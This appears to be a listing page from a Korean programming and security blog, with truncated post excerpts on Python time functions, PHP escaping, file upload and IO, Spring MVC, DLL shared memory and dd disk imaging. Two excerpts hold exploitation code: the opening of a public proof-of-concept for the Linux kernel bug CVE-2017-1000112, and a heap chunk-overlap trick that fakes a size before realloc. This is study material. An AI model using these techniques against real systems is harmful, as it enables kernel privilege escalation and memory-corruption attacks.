분류 전체보기
[python] time, date, datetime
[python] time, date, datetime
2017.11.12timeout https://pypi.python.org/pypi/timeout-decorator time ```python time.time() #UTC 기준 초단위 실수형 리턴 time.localtime() #초단위 실수형 리턴값을 연,월,시 등의 time.struct_time(투플)로 리턴 time.asctime() #time.struct_time을 보기 좋은 형태로 리턴 time.ctime() == time.asctime(time.localtime(time.time())) time.strftime('형식 포맷 코드', time.localtime(time.time())) time.sleep() ``` date ```python >>> import datetime >>> datetime.datetim..
[PHP] HTML tag escape
[PHP] HTML tag escape
2017.11.11HTML Tag escape```phphtmlentities( string $string, ENT_QUOTES, 'UTF-8');`````php htmlentities()``는 HTML Character Entity에 존재하는 모든 문자를 엔티티로 변환하기 때문에 의도하지 않은 문자까지 이스케이프 될 수 있다.( e.g., `` ! → !`` )그래서 사이트에서 EUC-KR을 사용하는 경우 ``php htmlentities()``를 사용하면 글자가 깨지기 때문에 ``php htmlspecialchars()``를 사용해야 하지만UTF-8 인코딩을 사용하는 경우 글자가 깨지지 않기 때문에 ``php htmlentities()``의 세번째 인자를 `` UTF-8``로 지정해서 사용하는 편이 더 안전하..
[PHP] File Upload
[PHP] File Upload
2017.11.11파일 업로드`` PUT``을 사용한 방식과 `` POST``를 사용한 방식 두 가지가 있다.파일 업로드와 관련된 php.ini 설정에 어긋나는 경우 ``php $_FILES``가 아예 비어있을 수 있으니 주의.``file_uploads = off````upload_tmp_dir````upload_max_filesize````POST_MAX_SIZE````memory_limit`` POST를 사용한 방식==CLIENT==```html```==SERVER==```php$_FILES["userfile"]["name"]...if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)){ ...```반드시 ``html 86f7e437faa5a7fce1..
[Spring] MVC
[Spring] MVC
2017.11.11더보기 JSP 모델 1 구조 웹 브라우저의 요청을 JSP가 받아 직접 처리(로직, 출력) 따라서 비즈니스 로직을 처리하기 위한 코드와 웹 브라우저에 결과를 출력하는 코드가 혼재한다. JSP 모델 2 구조 웹 브라우저의 요청을 단일 서블릿이 받아 로직 클래스에서 로직을 처리하고, 결과를 보여줄 JSP 페이지로 포워딩. JSP는 출력만 처리. 웹 브라우저의 요청을 단일 진입점, 하나의 서블릿에서 처리한다는 점이 특징이다. 그래서 서블릿에서 웹 브라우저의 요청을 구분해서 출력을 생성할 JSP를 선택하게 된다. 모델 2 구조가 곧 MVC 패턴을 웹에 적용한 것이라고 생각하면 된다. JSP 모델 2 구조 기반 MVC Model : 명확한 규칙은 없으나 보통 로직 처리 클래스, 자바빈, 서비스 View : JSP,..
[PHP] File IO
[PHP] File IO
2017.11.11write```php$fname = "open.txt";if ($fp = fopen($fname, "w")) { fwrite($fp, "test string\n"); // alias : fputs() fclose($fp);}``` 간결하게 사용하려면 이를 사용하는 것이 좋지만, ``php $fp``를 계속 열고 닫아야 하는 경우는 위를 사용하는게 더 빠르다.```phpfile_put_contents("newfile.txt", "contents\n"); // identical to calling fopen - fwrite - fclose``` read```php$fname = "open.txt";if ($fp = fopen($fname, "r")) { echo fread($fp, filesize($fnam..
[C] system V IPC
[C] system V IPC
2017.11.10이 글은 보호되어 있기 때문에 이것을 보려면 암호가 필요합니다.
[C] dll을 이용한 메모리(데이터) 공유
[C] dll을 이용한 메모리(데이터) 공유
2017.11.10전통적인 IPC method를 사용하지 않고 프로세스 간 데이터를 공유할 수 있는 방법. data_seg pragma dll injection 되어있을 때, injection 된 dll에 ``c #pragma data_seg()``가 있으면 해당 memory(data)에 접근해 exe나 타 dll이 가져다 쓸 수 있다. ```c #pragma comment(linker, "/SECTION:.SHARE, RWS") ``` section의 attribute를 바꾸는 코드인데(RWS) 굳이 안해도 된다. ```c #pragma data_seg(".SHARE") //section은 .SHARE든 뭐든 아무거나 지정하면 된다. 변수 선언 및 초기화 . . . #pragma data_seg() ```
함수형 프로그래밍 (Functional Programming)
함수형 프로그래밍 (Functional Programming)
2017.11.10이 글은 보호되어 있기 때문에 이것을 보려면 암호가 필요합니다.
CVE-2017-1000112 : Exploitable memory corruption due to UFO to non-UFO path switch
CVE-2017-1000112 : Exploitable memory corruption due to UFO to non-UFO path switch
2017.11.08CVE-2017-1000112https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c```cvoid oob_execute(unsigned long payload) {char buffer[4096];memset(&buffer[0], 0x42, 4096);init_skb_buffer(&buffer[SHINFO_OFFSET], payload); int s = socket(PF_INET, SOCK_DGRAM, 0);connect(s, (void*)&addr, sizeof(addr))/* #1 */int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);int rv = send(s, buf..
realloc fake size
realloc fake size
2017.11.04```cint main(){ char *a = malloc(0x8); char *b = malloc(0x8); char *c = malloc(0x40); char *topguard = malloc(0x8); // modify b.size *(b-0x4) = 0x59; realloc(b, 0x8); return 0;}``` trigger & overlapchunk `` a``에서 off-by-one overflow가 발생해 `` b.size``를 수정할 수 있는 상황이라면 이를 이용해 chunk overlap할 수 있으며, 이는 `` b`` chunk의 overflow, libc_base leak으로 연계할 수 있다.```bashgdb-peda$ x/32wx 0x565580000x56558000: 0x00..
[withcon2017] calc - 복잡한 heap control
[withcon2017] calc - 복잡한 heap control
2017.11.03이 글은 보호되어 있기 때문에 이것을 보려면 암호가 필요합니다.
저장매체 이미징 ( dd )
저장매체 이미징 ( dd )
2017.11.01저장매체 복제아예 비트스트림을 똑같이 복제해서 똑같은 내용의 하드를 하나 더 만드는 것.비할당 영역이나 슬랙도 모두 복제되지만, 그냥 같은 내용의 하드가 하나 더 생기는거라 분석하려면 어차피 이미징해야 편하다. 저장매체 이미징모든 물리적인 섹터를 파일 형태로 만들어 저장하는 것. 비할당 영역이나 슬랙 공간도 모두 저장되기 때문에 이를 사용해야 한다.vmdk를 hdx에 올려서 보는 것도 이미징 파일을 보는 것과 비슷하다고 볼 수 있다. 윈도우에서는 FTK Imager / dd리눅스에서는 dd를 사용할 수 있다. ```bash# dd if=/dev/sdb2 of=./sdb2.iso``` dd 사용법